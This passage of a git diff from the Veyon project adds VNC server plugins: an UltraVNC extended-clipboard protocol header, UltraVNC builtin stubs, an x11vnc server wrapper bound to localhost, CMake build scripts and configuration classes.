2010-07 - Extended clipboard support +// this struct is used as the data within an rfbServerCutTextMsg or rfbClientCutTextMsg. +typedef struct { + uint32_t flags; // see rfbExtendedClipboardDataFlags + + // followed by unsigned char data[(rfbServerCutTextMsg|rfbClientCutTextMsg).length - sz_rfbExtendedClipboardData] +} rfbExtendedClipboardData; + +#define sz_rfbExtendedClipboardData 4 + +typedef enum { + // formats + clipText = 0x00000001, // Unicode text (UTF-8 encoding) + clipRTF = 0x00000002, // Microsoft RTF format + clipHTML = 0x00000004, // Microsoft HTML clipboard format + clipDIB = 0x00000008, // Microsoft DIBv5 + // line endings are not touched and remain as \r\n for Windows machines. Terminating NULL characters are preserved. + + // Complex formats + // These formats should also have 3 more CARD32 values after rfbExtendedClipboardData.flags. This will allow them + // to set up more complex messages (such as preview) or subformats (such as lossless, png, jpeg, lossy) etc. + // The rest should follow the standard format of a 32-bit length of the uncompressed data, followed by the data. + // + // Please note none of these are implemented yet, but seem obvious enough that their values are reserved here + // for posterity. + clipFiles = 0x00000010, // probably also more than one file + clipFormatMask = 0x0000FFFF, + + // reserved + clipReservedMask= 0x00FF0000, // more than likely will be used for more formats, but may be used for more actions + // or remain unused for years to come. + + // actions + clipCaps = 0x01000000, // which formats are supported / desired. + // Message data should include limits on maximum automatic uncompressed data size for each format + // in 32-bit values (in order of enum value). If the data exceeds that value, it must be requested. + // This can be used to disable the clipboard entirely by setting no supported formats, or to + // only enable manual clipboard transfers by setting the maximum sizes to 0. + // can be combined with other actions to denote actions that are supported + // The server must send this to the client to notify that it understands the new clipboard format. + // The client may respond with its own clipCaps; otherwise the server should use the defaults. + // Currently, the defaults are the messages and formats defined in this initial implementation + // that are common to both server and viewer: + // clipCaps | clipRequest | clipProvide | (clipNotify if viewer, clipPeek if server) + // clipText | clipRTF | clipHTML | clipDIB + // (Note that clipNotify is only relevant from server->viewer, and clipPeek is only relevant + // from viewer->server. Therefore they are left out of the defaults but can be set with the + // rest of the caps if desired.) + // It is also strongly recommended to set up maximum sizes for the formats since currently + // the data is sent synchronously and cannot be interrupted. If data exceeds the maximum size, + // then the server should send the clipNotify so the client may send clipRequest. Current default + // limits were somewhat arbitrarily chosen as 2mb (10mb for text) and 0 for image + // Note that these limits are referring to the length of uncompressed data. + clipRequest = 0x02000000, // request clipboard data (should be combined with desired formats) + // Message should be empty + // Response should be a clipProvide message with appropriate formats. This should ignore any + // maximum size limitations specified in clipCaps. + clipPeek = 0x04000000, // Peek at what is currently available in the clipboard. + // Message should be empty + // Respond with clipNotify including all available formats in the flags + clipNotify = 0x08000000, // notify that the formats combined with the flags are available for transfer. + // Message should be empty + // When a clipProvide message is received, then all formats notified as being available are + // invalidated. Therefore, when implementing, ensure that clipProvide messages are sent before + // clipNotify messages, specifically when in response to a change in the clipboard + clipProvide = 0x10000000, // send clipboard data (should be combined with sent formats) + // All message data including the length is compressed by a single zlib stream. + // First is the 32-bit length of the uncompressed data, followed by the data itself + // Repeat for each format listed in order of enum value + // Invalidate any formats that were notified as being available. + clipActionMask = 0xFF000000, + + clipInvalid = 0xFFFFFFFF, + +} rfbExtendedClipboardDataFlags; + + + +#endif + diff --git a/plugins/vncserver/ultravnc-builtin/ultravnc.cpp b/plugins/vncserver/ultravnc-builtin/ultravnc.cpp new file mode 100644 index 0000000..f0e2645 --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/ultravnc.cpp @@ -0,0 +1,38 @@ +#include "stdhdrs.h" + +#define rfbConnFailed 0 +#define rfbInvalidAuth 0 +#define rfbNoAuth 1 +#define rfbVncAuth 2 +#define rfbUltraVNC 17 + +#define rfbVncAuthOK 0 +#define rfbVncAuthFailed 1 + +// adzm 2010-09 - rfbUltraVNC or other auths may send this to restart authentication (perhaps over a now-secure channel) +#define rfbVncAuthContinue 0xFFFFFFFF + + + +#include "vncclient.cpp" + + +#ifdef IPV6V4 +const UINT MENU_ADD_CLIENT6_MSG_INIT = RegisterWindowMessage("WinVNC.AddClient6.Message.Init"); +const UINT MENU_ADD_CLIENT6_MSG = RegisterWindowMessage("WinVNC.AddClient6.Message"); +#endif + +const UINT MENU_ADD_CLIENT_MSG_INIT = RegisterWindowMessage("WinVNC.AddClient.Message.Init"); +const UINT MENU_ADD_CLIENT_MSG = RegisterWindowMessage("WinVNC.AddClient.Message"); +const UINT MENU_AUTO_RECONNECT_MSG = RegisterWindowMessage("WinVNC.AddAutoClient.Message"); +const UINT MENU_STOP_RECONNECT_MSG = RegisterWindowMessage("WinVNC.AddStopClient.Message"); +const UINT MENU_STOP_ALL_RECONNECT_MSG = RegisterWindowMessage("WinVNC.AddStopAllClient.Message"); +const UINT MENU_REPEATER_ID_MSG = RegisterWindowMessage("WinVNC.AddRepeaterID.Message"); + + +const char *MENU_CLASS_NAME = "WinVNC Tray Icon"; + + +HWND G_MENU_HWND = NULL; + +bool G_USE_PIXEL = false; diff --git a/plugins/vncserver/ultravnc-builtin/vnchooks/CMakeLists.txt b/plugins/vncserver/ultravnc-builtin/vnchooks/CMakeLists.txt new file mode 100644 index 0000000..c7b9b92 --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/vnchooks/CMakeLists.txt @@ -0,0 +1,16 @@ +SET(VH_WINRC "${CMAKE_CURRENT_BINARY_DIR}/vnchooksrc.obj") +ADD_CUSTOM_COMMAND(OUTPUT ${VH_WINRC} + COMMAND ${WINDRES} + -I${CMAKE_CURRENT_SOURCE_DIR} + -o${VH_WINRC} + -i${ultravnc_DIR}/winvnc/vnchooks/vnchooks.rc) + +ADD_LIBRARY(vnchooks MODULE + ${ultravnc_DIR}/winvnc/vnchooks/VNCHooks.cpp + ${ultravnc_DIR}/winvnc/vnchooks/SharedData.cpp + ${VH_WINRC}) +SET_TARGET_PROPERTIES(vnchooks PROPERTIES PREFIX "") +SET_TARGET_PROPERTIES(vnchooks PROPERTIES COMPILE_FLAGS "-Wno-write-strings -Wno-unused-variable -Wno-unknown-pragmas") +SET_TARGET_PROPERTIES(vnchooks PROPERTIES LINK_FLAGS -Wl,-export-all-symbols) +TARGET_LINK_LIBRARIES(vnchooks -ladvapi32) + diff --git a/plugins/vncserver/ultravnc-builtin/vncntlm.cpp b/plugins/vncserver/ultravnc-builtin/vncntlm.cpp new file mode 100644 index 0000000..c03cf34 --- /dev/null +++ b/plugins/vncserver/ultravnc-builtin/vncntlm.cpp @@ -0,0 +1,31 @@ +/* + * vncntlm.cpp - dummy implementation of vncntlm module + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +int CheckUserGroupPasswordUni(char *,char *,const char *) +{ + // never perform logon authentication as we're only using + // simple VNC authentication for internal VNC server + return 0; +} + diff --git a/plugins/vncserver/x11vnc-builtin/BuiltinX11VncServer.cpp b/plugins/vncserver/x11vnc-builtin/BuiltinX11VncServer.cpp new file mode 100644 index 0000000..678e408 --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/BuiltinX11VncServer.cpp @@ -0,0 +1,154 @@ +/* + * BuiltinX11VncServer.cpp - implementation of BuiltinX11VncServer class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "BuiltinX11VncServer.h" +#include "X11VncConfigurationWidget.h" + +extern "C" int x11vnc_main( int argc, char * * argv ); + + +BuiltinX11VncServer::BuiltinX11VncServer( QObject* parent ) : + QObject( parent ), + m_configuration() +{ +} + + + +BuiltinX11VncServer::~BuiltinX11VncServer() +{ +} + + + +QWidget* BuiltinX11VncServer::configurationWidget() +{ + return new X11VncConfigurationWidget( m_configuration ); +} + + + +void BuiltinX11VncServer::prepareServer() +{ +} + + + +void BuiltinX11VncServer::runServer( int serverPort, const QString& password ) +{ + QStringList cmdline = { "-localhost", + "-nosel", // do not exchange clipboard-contents + "-nosetclipboard", // do not exchange clipboard-contents + "-rfbport", QString::number( serverPort ) // set port at which the VNC server should listen + } ; + + const auto extraArguments = m_configuration.extraArguments(); + + if( extraArguments.isEmpty() == false ) + { + cmdline.append( extraArguments.split( ' ' ) ); + } + + if( m_configuration.isXDamageDisabled() ) + { + cmdline.append( QStringLiteral("-noxdamage") ); + } + else + { + // workaround for x11vnc when running in an NX session or a Thin client LTSP session + const auto systemEnv = QProcess::systemEnvironment(); + for( const auto& s : systemEnv ) + { + if( s.startsWith( QStringLiteral("NXSESSIONID=") ) || + s.startsWith( QStringLiteral("X2GO_SESSION=") ) || + s.startsWith( QStringLiteral("LTSP_CLIENT_MAC=") ) ) + { + cmdline.append( QStringLiteral("-noxdamage") ); + } + } + } + +#ifdef VEYON_X11VNC_EXTERNAL + QTemporaryFile tempFile; + if( tempFile.open() == false ) // Flawfinder: ignore + { + qCritical() << Q_FUNC_INFO << "Could not create temporary file!"; + return; + } + tempFile.write( password.toLocal8Bit() ); + tempFile.close(); + + cmdline.append( QStringLiteral("-passwdfile") ); + cmdline.append( QStringLiteral("rm:") + tempFile.fileName() ); + cmdline.append( QStringLiteral("-forever") ); + cmdline.append( QStringLiteral("-shared") ); + cmdline.append( QStringLiteral("-nocmds") ); + cmdline.append( QStringLiteral("-noremote") ); + + QProcess x11vnc; + x11vnc.setProcessChannelMode( QProcess::ForwardedChannels ); + x11vnc.start( QStringLiteral("x11vnc"), cmdline ); + if( x11vnc.waitForStarted() == false ) + { + qCritical() << "Could not start external x11vnc:" << x11vnc.errorString(); + qCritical() << "Please make sure x11vnc is installed and installation directory is in PATH!"; + QThread::msleep( 5000 ); + } + else + { + x11vnc.waitForFinished( -1 ); + } +#else + cmdline.append( { "-passwd", password } ); + + // build new C-style command line array based on cmdline-QStringList + const auto appArguments = QCoreApplication::arguments(); + auto argv = new char *[cmdline.size()+1]; // Flawfinder: ignore + argv[0] = qstrdup( appArguments.first().toUtf8().constData() ); + int argc = 1; + + for( auto it = cmdline.begin(), end = cmdline.end(); it != end; ++it, ++argc ) + { + const auto len = static_cast( it->length() ); + argv[argc] = new char[len + 1]; + strncpy( argv[argc], it->toUtf8().constData(), len ); + argv[argc][len] = 0; + } + + // run x11vnc-server + x11vnc_main( argc, argv ); + + for( int i = 0; i < argc; ++i ) + { + delete[] argv[i]; + } + + delete[] argv; +#endif +} diff --git a/plugins/vncserver/x11vnc-builtin/BuiltinX11VncServer.h b/plugins/vncserver/x11vnc-builtin/BuiltinX11VncServer.h new file mode 100644 index 0000000..b7055bd --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/BuiltinX11VncServer.h @@ -0,0 +1,97 @@ +/* + * BuiltinX11VncServer.h - declaration of BuiltinX11VncServer class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef BUILTIN_X11VNC_SERVER_H +#define BUILTIN_X11VNC_SERVER_H + +#include "PluginInterface.h" +#include "VncServerPluginInterface.h" +#include "X11VncConfiguration.h" + +class BuiltinX11VncServer : public QObject, VncServerPluginInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.BuiltinX11VncServer") + Q_INTERFACES(PluginInterface VncServerPluginInterface) +public: + BuiltinX11VncServer( QObject* parent = nullptr ); + ~BuiltinX11VncServer() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("39d7a07f-94db-4912-aa1a-c4df8aee3879"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "BuiltinX11VncServer" ); + } + + QString description() const override + { + return tr( "Builtin VNC server (x11vnc)" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + Plugin::Flags flags() const override + { + return Plugin::ProvidesDefaultImplementation; + } + + QWidget* configurationWidget() override; + + void prepareServer() override; + + void runServer( int serverPort, const QString& password ) override; + + int configuredServerPort() override + { + return -1; + } + + QString configuredPassword() override + { + return QString(); + } + +private: + X11VncConfiguration m_configuration; + +}; + +#endif // BUILTIN_X11VNC_SERVER_H diff --git a/plugins/vncserver/x11vnc-builtin/CMakeLists.txt b/plugins/vncserver/x11vnc-builtin/CMakeLists.txt new file mode 100644 index 0000000..201ef26 --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/CMakeLists.txt @@ -0,0 +1,284 @@ +INCLUDE(BuildPlugin) + +IF(VEYON_X11VNC_EXTERNAL) + +ADD_DEFINITIONS(-DVEYON_X11VNC_EXTERNAL) + +ELSE() + +# check for pthreads and TLS support +SET(CMAKE_THREAD_PREFER_PTHREAD TRUE) +FIND_PACKAGE(Threads) +IF(CMAKE_USE_PTHREADS_INIT) + SET(LIBVNCSERVER_HAVE_LIBPTHREAD TRUE) +ENDIF(CMAKE_USE_PTHREADS_INIT) + +# check for libvncserver requirements + +# functions +SET(LIBVNCSERVER_FUNCS fork ftime gethostbyname gethostname gettimeofday inet_ntoa memmove memset mkfifo mmap select socket strchr strdup strerror strstr vfork vprintf) +FOREACH(_func ${LIBVNCSERVER_FUNCS}) + STRING(TOUPPER "${_func}" fuc) + CHECK_FUNCTION_EXISTS(${_func} LIBVNCSERVER_HAVE_${fuc}) +ENDFOREACH() + +# headers +SET(LIBVNCSERVER_HEADERS fcntl sys/endian sys/wait sys/uio vfork) +FOREACH(_header ${LIBVNCSERVER_HEADERS}) + STRING(TOUPPER "${_header}" _huc) + STRING(REPLACE "/" "_" _header_escaped "${_huc}") + CHECK_INCLUDE_FILES(${_header}.h LIBVNCSERVER_HAVE_${_header_escaped}_H) +ENDFOREACH() + +SET(LIBVNCSERVER_ALLOW24BPP TRUE) +SET(FULL_PACKAGE_NAME "Veyon") +SET(PACKAGE_VERSION "${VERSION_STRING}") +SET(VERSION_PATCHLEVEL "${VERSION_PATCH}") + +CONFIGURE_FILE(${CMAKE_SOURCE_DIR}/3rdparty/libvncserver/rfb/rfbconfig.h.cmakein ${CMAKE_BINARY_DIR}/${VEYON_CORE_INCLUDE_DIR}/rfb/rfbconfig.h @ONLY) + +# check for x11vnc requirements +SET(FUNCS dup2 floor ftime geteuid gethostbyname gethostname getpwnam getpwuid getspnam gettimeofday getuid grantpt inet_ntoa initgroups memcmp memcpy memmove memset mkfifo mmap fork pow putenv select seteuid setegid setgid setpgrp setsid setuid setutxent shmat socket strchr strcspn strdup strerror strftime strpbrk strrchr strstr uname vfork vprintf waitpid) +FOREACH(_func ${FUNCS}) + STRING(TOUPPER "${_func}" fuc) + CHECK_FUNCTION_EXISTS(${_func} HAVE_${fuc}) +ENDFOREACH(_func ${FUNCS}) + +CHECK_C_SOURCE_COMPILES("static __thread int p = 0; int main() {}" HAVE_TLS) + +CHECK_INCLUDE_FILES(arpa/inet.h HAVE_ARPA_INET_H) +CHECK_INCLUDE_FILES(ctype.h HAVE_CTYPE_H) +CHECK_INCLUDE_FILES(dlfcn.h HAVE_DLFCN_H) +CHECK_INCLUDE_FILES(endian.h HAVE_ENDIAN_H) +CHECK_INCLUDE_FILES(errno.h HAVE_ERRNO_H) +CHECK_INCLUDE_FILES(fcntl.h HAVE_FCNTL_H) +CHECK_INCLUDE_FILES(inttypes.h HAVE_INTTYPES_H) +CHECK_INCLUDE_FILES(linux/fb.h HAVE_LINUX_FB_H) +CHECK_INCLUDE_FILES(linux/input.h HAVE_LINUX_INPUT_H) +CHECK_INCLUDE_FILES(linux/uinput.h HAVE_LINUX_UINPUT_H) +CHECK_INCLUDE_FILES(linux/videodev2.h HAVE_LINUX_VIDEODEV2_H) +CHECK_INCLUDE_FILES(linux/videodev.h HAVE_LINUX_VIDEODEV_H) +CHECK_INCLUDE_FILES(memory.h HAVE_MEMORY_H) +CHECK_INCLUDE_FILES(netdb.h HAVE_NETDB_H) +CHECK_INCLUDE_FILES(netinet/in.h HAVE_NETINET_IN_H) +CHECK_INCLUDE_FILES(process.h HAVE_PROCESS_H) +CHECK_INCLUDE_FILES(pthread.h HAVE_PTHREAD_H) +CHECK_INCLUDE_FILES(pwd.h HAVE_PWD_H) +CHECK_INCLUDE_FILES(signal.h HAVE_SIGNAL_H) +CHECK_INCLUDE_FILES(stdarg.h HAVE_STDARG_H) +CHECK_INCLUDE_FILES(stdbool.h HAVE_STDBOOL_H) +CHECK_INCLUDE_FILES(stdint.h HAVE_STDINT_H) +CHECK_INCLUDE_FILES(stdlib.h HAVE_STDLIB_H) +CHECK_INCLUDE_FILES(string.h HAVE_STRING_H) +CHECK_INCLUDE_FILES(strings.h HAVE_STRINGS_H) +CHECK_INCLUDE_FILES(sys/endian.h HAVE_SYS_ENDIAN_H) +CHECK_INCLUDE_FILES(sys/ioctl.h HAVE_SYS_IOCTL_H) +CHECK_INCLUDE_FILES(sys/ipc.h HAVE_SYS_IPC_H) +CHECK_INCLUDE_FILES(syslog.h HAVE_SYSLOG_H) +CHECK_INCLUDE_FILES(sys/shm.h HAVE_SYS_SHM_H) +CHECK_INCLUDE_FILES(sys/socket.h HAVE_SYS_SOCKET_H) +CHECK_INCLUDE_FILES(sys/stat.h HAVE_SYS_STAT_H) +CHECK_INCLUDE_FILES(sys/stropts.h HAVE_SYS_STROPTS_H) +CHECK_INCLUDE_FILES(sys/timeb.h HAVE_SYS_TIMEB_H) +CHECK_INCLUDE_FILES(sys/time.h HAVE_SYS_TIME_H) +CHECK_INCLUDE_FILES(sys/types.h HAVE_SYS_TYPES_H) +CHECK_INCLUDE_FILES(sys/wait.h HAVE_SYS_WAIT_H) +CHECK_INCLUDE_FILES(termios.h HAVE_TERMIOS_H) +CHECK_INCLUDE_FILES(time.h HAVE_TIME_H) +CHECK_INCLUDE_FILES(unistd.h HAVE_UNISTD_H) +CHECK_INCLUDE_FILES(utmpx.h HAVE_UTMPX_H) +CHECK_INCLUDE_FILES(vfork.h HAVE_VFORK_H) + +FIND_PACKAGE(X11 REQUIRED) + +IF(NOT X11_XTest_FOUND) + MESSAGE(FATAL_ERROR "XTest library or headers not found - please install libxtst-dev or libXtst-devel") +ENDIF() + +IF(NOT X11_Xrandr_FOUND) + MESSAGE(FATAL_ERROR "Xrandr library or headers not found - please install libxrandr-dev or libXrandr-devel") +ENDIF() + +IF(NOT X11_Xinerama_FOUND) + MESSAGE(FATAL_ERROR "Xinerama library or headers not found - please install libxinerama-dev or libXinerama-devel") +ENDIF() + +IF(NOT X11_Xdamage_FOUND) + MESSAGE(FATAL_ERROR "Xdamage library or headers not found - please install libxdamage-dev or libXdamage-devel") +ENDIF() + +IF(NOT X11_Xfixes_FOUND) + MESSAGE(FATAL_ERROR "Xfixes library or headers not found - please install libxfixes-dev or libXfixes-devel") +ENDIF() + +SET(HAVE_X11 TRUE) +SET(HAVE_XTEST TRUE) +SET(HAVE_LIBSSL TRUE) +SET(HAVE_LIBXINERAMA TRUE) +SET(HAVE_LIBXRANDR TRUE) +SET(HAVE_LIBXDAMAGE TRUE) +SET(HAVE_LIBXFIXES TRUE) + +IF(X11_XShm_FOUND) + SET(HAVE_XSHM TRUE) +ELSE() + MESSAGE("WARNING: XShm library or headers not found - building VNC server without XShm support") +ENDIF() + +IF(X11_Xinput_FOUND) + SET(HAVE_XI2 TRUE) +ELSE() + MESSAGE("WARNING: Xinput library or headers not found - building VNC server without Xinput support") +ENDIF() + +IF(X11_Xcomposite_FOUND) + SET(HAVE_LIBXCOMPOSITE TRUE) +ELSE() + MESSAGE("WARNING: Xcomposite library or headers not found - building VNC server without Xcomposite support") +ENDIF() + +IF(X11_Xcursor_FOUND) + SET(HAVE_LIBXCURSOR TRUE) +ELSE() + MESSAGE("WARNING: Xcursor library or headers not found - building VNC server without Xcursor support") +ENDIF() + +SET(CMAKE_REQUIRED_LIBRARIES ${X11_LIBRARIES} ${X11_XTest_LIB}) + +CHECK_FUNCTION_EXISTS(XReadScreen HAVE_SOLARIS_XREADSCREEN) +CHECK_FUNCTION_EXISTS(FBPMForceLevel HAVE_FBPM) +CHECK_FUNCTION_EXISTS(DPMSForceLevel HAVE_DPMS) +CHECK_FUNCTION_EXISTS(XTestGrabControl HAVE_XTESTGRABCONTROL) +CHECK_FUNCTION_EXISTS(XRecordEnableContextAsync HAVE_RECORD) +CHECK_INCLUDE_FILES(X11/extensions/readdisplay.h HAVE_IRIX_XREADDISPLAY) +CHECK_INCLUDE_FILES(X11/XKBlib.h HAVE_XKBLIB_H) +IF(HAVE_XKBLIB_H) + CHECK_FUNCTION_EXISTS(XkbSelectEvents HAVE_XKEYBOARD) +ENDIF(HAVE_XKBLIB_H) + +UNSET(CMAKE_REQUIRED_LIBRARIES) + +SET(X11VNC_CONFIG ${CMAKE_BINARY_DIR}/config.h) +CONFIGURE_FILE(${CMAKE_CURRENT_SOURCE_DIR}/config.h.in ${CMAKE_CURRENT_BINARY_DIR}/config.h @ONLY) + +ADD_DEFINITIONS(-DVNCSHARED -DFOREVER -DNOREPEAT=0 -DNOPW=1 -DREMOTE_CONTROL=0 -DEXTERNAL_COMMANDS=0 -DFILEXFER=0 -DNOGUI -DSMALL_FOOTPRINT) +INCLUDE_DIRECTORIES(${libvncserver_DIR}/libvncserver ${libvncserver_DIR}/common ${3rdparty_DIR} ${x11vnc_DIR}/src) + +SET(libvncserver_SOURCES + ${libvncserver_DIR}/libvncserver/auth.c + ${libvncserver_DIR}/libvncserver/cargs.c + ${libvncserver_DIR}/libvncserver/corre.c + ${libvncserver_DIR}/libvncserver/cursor.c + ${libvncserver_DIR}/libvncserver/cutpaste.c + ${libvncserver_DIR}/libvncserver/draw.c + ${libvncserver_DIR}/libvncserver/font.c + ${libvncserver_DIR}/libvncserver/hextile.c + ${libvncserver_DIR}/libvncserver/httpd.c + ${libvncserver_DIR}/libvncserver/main.c + ${libvncserver_DIR}/libvncserver/rfbregion.c + ${libvncserver_DIR}/libvncserver/rfbserver.c + ${libvncserver_DIR}/libvncserver/rre.c + ${libvncserver_DIR}/libvncserver/scale.c + ${libvncserver_DIR}/libvncserver/selbox.c + ${libvncserver_DIR}/libvncserver/sockets.c + ${libvncserver_DIR}/libvncserver/stats.c + ${libvncserver_DIR}/libvncserver/translate.c + ${libvncserver_DIR}/libvncserver/ultra.c + ${libvncserver_DIR}/libvncserver/zlib.c + ${libvncserver_DIR}/libvncserver/zrle.c + ${libvncserver_DIR}/libvncserver/zrleoutstream.c + ${libvncserver_DIR}/libvncserver/zrlepalettehelper.c + ${libvncserver_DIR}/libvncserver/tight.c + ${libvncserver_DIR}/common/d3des.c + ${libvncserver_DIR}/common/turbojpeg.c + ${libvncserver_DIR}/common/vncauth.c) + +SET(x11vnc_SOURCES x11vnc-veyon.c + ${x11vnc_DIR}/src/appshare.c + ${x11vnc_DIR}/src/avahi.c + ${x11vnc_DIR}/src/rates.c + ${x11vnc_DIR}/src/cleanup.c + ${x11vnc_DIR}/src/remote.c + ${x11vnc_DIR}/src/pointer.c + ${x11vnc_DIR}/src/userinput.c + ${x11vnc_DIR}/src/unixpw.c + ${x11vnc_DIR}/src/gui.c + ${x11vnc_DIR}/src/xkb_bell.c + ${x11vnc_DIR}/src/xinerama.c + ${x11vnc_DIR}/src/solid.c + ${x11vnc_DIR}/src/selection.c + ${x11vnc_DIR}/src/xrandr.c + ${x11vnc_DIR}/src/win_utils.c + ${x11vnc_DIR}/src/cursor.c + ${x11vnc_DIR}/src/screen.c + ${x11vnc_DIR}/src/xevents.c + ${x11vnc_DIR}/src/help.c + ${x11vnc_DIR}/src/inet.c + ${x11vnc_DIR}/src/sslcmds.c + ${x11vnc_DIR}/src/xwrappers.c + ${x11vnc_DIR}/src/scan.c + ${x11vnc_DIR}/src/options.c + ${x11vnc_DIR}/src/user.c + ${x11vnc_DIR}/src/util.c + ${x11vnc_DIR}/src/x11vnc_defs.c + ${x11vnc_DIR}/src/xrecord.c + ${x11vnc_DIR}/src/8to24.c + ${x11vnc_DIR}/src/xdamage.c + ${x11vnc_DIR}/src/keyboard.c + ${x11vnc_DIR}/src/connections.c + ${x11vnc_DIR}/src/sslhelper.c + ${x11vnc_DIR}/src/linuxfb.c + ${x11vnc_DIR}/src/v4l.c + ${x11vnc_DIR}/src/macosx.c + ${x11vnc_DIR}/src/macosxCG.c + ${x11vnc_DIR}/src/macosxCGP.c + ${x11vnc_DIR}/src/macosxCGS.c + ${x11vnc_DIR}/src/xi2_devices.c + ${x11vnc_DIR}/src/uinput.c +) + +ENDIF() + +BUILD_PLUGIN(builtin-x11vnc-server + BuiltinX11VncServer.cpp + X11VncConfiguration.cpp + X11VncConfigurationWidget.cpp + ${libvncserver_SOURCES} + ${x11vnc_SOURCES} + MOCFILES + BuiltinX11VncServer.h + X11VncConfigurationWidget.h + X11VncConfiguration.h + FORMS X11VncConfigurationWidget.ui) + +IF(NOT VEYON_X11VNC_EXTERNAL) +TARGET_LINK_LIBRARIES(builtin-x11vnc-server + Threads::Threads + ${X11_LIBRARIES} + ${X11_XTest_LIB} + ${X11_Xfixes_LIB} + ${X11_Xinerama_LIB} + ${X11_Xdamage_LIB} + ${X11_Xrandr_LIB} +) + +IF(X11_XShm_FOUND) +TARGET_LINK_LIBRARIES(builtin-x11vnc-server ${X11_XShm_LIB}) +ENDIF() + +IF(X11_Xcomposite_FOUND) +TARGET_LINK_LIBRARIES(builtin-x11vnc-server ${X11_Xcomposite_LIB}) +ENDIF() + +IF(X11_Xcursor_FOUND) +TARGET_LINK_LIBRARIES(builtin-x11vnc-server ${X11_Xcursor_LIB}) +ENDIF() + +IF(X11_Xinput_FOUND) +TARGET_LINK_LIBRARIES(builtin-x11vnc-server ${X11_Xinput_LIB}) +ENDIF() + +ENDIF() + + +SET_SOURCE_FILES_PROPERTIES(${x11vnc_SOURCES} ${libvncserver_SOURCES} PROPERTIES COMPILE_FLAGS "-Wno-unused-result -Wno-unused-function -Wno-unused-variable -Wno-unused-but-set-variable -Wno-misleading-indentation -Wno-deprecated-declarations -Wno-address -Wno-format -Wno-discarded-qualifiers") diff --git a/plugins/vncserver/x11vnc-builtin/X11VncConfiguration.cpp b/plugins/vncserver/x11vnc-builtin/X11VncConfiguration.cpp new file mode 100644 index 0000000..8ecb1ef --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/X11VncConfiguration.cpp @@ -0,0 +1,35 @@ +/* + * X11VncConfiguration.cpp - x11vnc-specific configuration values + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonConfiguration.h" +#include "X11VncConfiguration.h" + + +X11VncConfiguration::X11VncConfiguration() : + Configuration::Proxy( &VeyonCore::config() ) +{ +} + + +FOREACH_X11VNC_CONFIG_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) diff --git a/plugins/vncserver/x11vnc-builtin/X11VncConfiguration.h b/plugins/vncserver/x11vnc-builtin/X11VncConfiguration.h new file mode 100644 index 0000000..df9593a --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/X11VncConfiguration.h @@ -0,0 +1,50 @@ +/* + * X11VncConfiguration.h - x11vnc-specific configuration values + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef X11VNC_CONFIGURATION_H +#define X11VNC_CONFIGURATION_H + +#include "Configuration/Proxy.h" + +#define 